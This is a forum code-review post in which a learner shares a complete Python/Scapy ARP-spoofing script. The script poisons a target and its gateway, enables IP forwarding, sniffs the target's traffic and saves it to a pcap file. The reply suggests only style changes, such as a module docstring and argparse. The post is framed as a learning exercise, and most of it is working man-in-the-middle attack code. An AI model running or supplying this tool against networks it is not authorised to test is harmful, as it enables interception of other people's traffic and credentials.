Be the Man in the middle, and (ARP) Poison your network Whilst learning from a Python Networking book, I've made this tool to perform a Man in the Middle attack by ARP-Spoofing  on a Network. I think this has been done plenty before.

from scapy.all import *
import os
import sys
import threading
import signal


def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
    """Rstore targets and gateway"s ip to correct ARP"""
    send(ARP(op=2, psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac,count=5))
    send(ARP(op=2, psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac,count=5))
    os.kill(os.getpid(), signal.SIGINT)


def get_mac(ip):
    """Return a MAC address bound to an IP address."""
    responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),timeout=2,retry=10)
    for s,r in responses:
        return r[Ether].src


def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
    """Start ARP poisoning for a specified target and gateway."""
    poison_target = ARP()
    poison_target.op = 2
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst = target_mac

    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst = gateway_mac

    print("[*] Beginning the ARP poison")
    while True:
        try:
            send(poison_target)
            send(poison_gateway)
            time.sleep(1)
        except KeyboardInterrupt:
            restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
    print("[*] Attack finished")


def main():
    try:
        interface = sys.argv[0]
        target_ip = sys.argv[1]
        gateway_ip = sys.argv[2]
    except:
        print ("""
Arp-poisening tool by @Ludisposed
Works on both Python2 and Python3
This tool is made for Unix(Kali) OS

Usage:
arper.py interface target_ip gateway_ip

Example:
python arper.py wlan0 192.168.1.70 192.168.1.1
""").strip()
        sys.exit(1)

    packet_count = 1000

    # Sets the ipv4 to enable port_forwarding
    os.system("echo 1 &gt; /proc/sys/net/ipv4/ip_forward")
    conf.verb = 0

    print("[*] setting up %s" % interface)

    gateway_mac = get_mac(gateway_ip)
    if gateway_mac is None:
        print ("[!] Failed to get gateway")
        sys.exit(1)
    print("[*] Gateway %s is at %s" % (gateway_ip, gateway_mac))

    target_mac = get_mac(target_ip)
    if target_mac is None:
        print("[!] Failed to get target")
        sys.exit(1)
    print("[*] Gateway %s is at %s" % (target_ip, target_mac))

    poison_thread = threading.Thread(
        target=poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))
    poison_thread.start()

    try:
        print("[*] Starting sniffer for %d packets" % (packet_count))
        bpf_filter = "IP host %s" % (target_ip)
        packets = sniff(count=packet_count, filter=bpf_filter, iface=interface)
        wrpcap("arper.pcap", packets)
    except KeyboardInterrupt:
        pass
    finally:
        restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
        print("[*] Finished capturing packets")

if __name__ == "__main__":
    main()



Some of concerns were with the heredoc string which looks ugly.
I was wondering how my style of approaching this was any good.
Just curious about a code-review overall.
Code is intended for both Python 2 and Python 3.
The heredoc uglyness can be avoided with either:


The textwrap.dedent function; or
Using a module docstring such as




"""
Arp-poisening tool by @Ludisposed
Works on both Python2 and Python3
This tool is made for Unix(Kali) OS

Usage:
arper.py interface target_ip gateway_ip

Example:
python arper.py wlan0 192.168.1.70 192.168.1.1
"""


from scapy.all import *
import os

…

def main():
    try:
        interface = sys.argv[0]
        target_ip = sys.argv[1]
        gateway_ip = sys.argv[2]
    except:
        print(__doc__).strip()
        sys.exit(1)
    …


You could also improve your arguments parsing using existing tools: argparse in the standard library or click or docopt to name a few. Using argparse, your code could become:

"""
Arp-poisening tool by @Ludisposed
Works on both Python2 and Python3
This tool is made for Unix(Kali) OS
"""


import os
import sys
import signal
import argparse
import ipaddress
import threading

from scapy.all import *

…


def main(interface, target_ip, gateway_ip):
    packet_count = 1000

    # Sets the ipv4 to enable port_forwarding
    os.system("echo 1 &gt; /proc/sys/net/ipv4/ip_forward")
    conf.verb = 0
    …


def parse_command_line():
    parser = argparse.ArgumentParser(
            description=__doc__,
            epilog='Example: python arper.py wlan0 192.168.1.70 192.168.1.1')
    parser.add_argument('interface', help='&lt;some helpful description&gt;')
    parser.add_argument('target_ip', type=ipaddress.ip_address, help='…')
    parser.add_argument('gateway_ip', type=ipaddress.ip_address, help='…')
    return parser.parse_args()


if __name__ == '__main__':
    args = parse_command_line()
    main(args.interface, args.target_ip, args.gateway_ip)


However, usage of the ipaddress module makes it require Python 3.3 at least. You could stick with strings but would get less checks done on the input.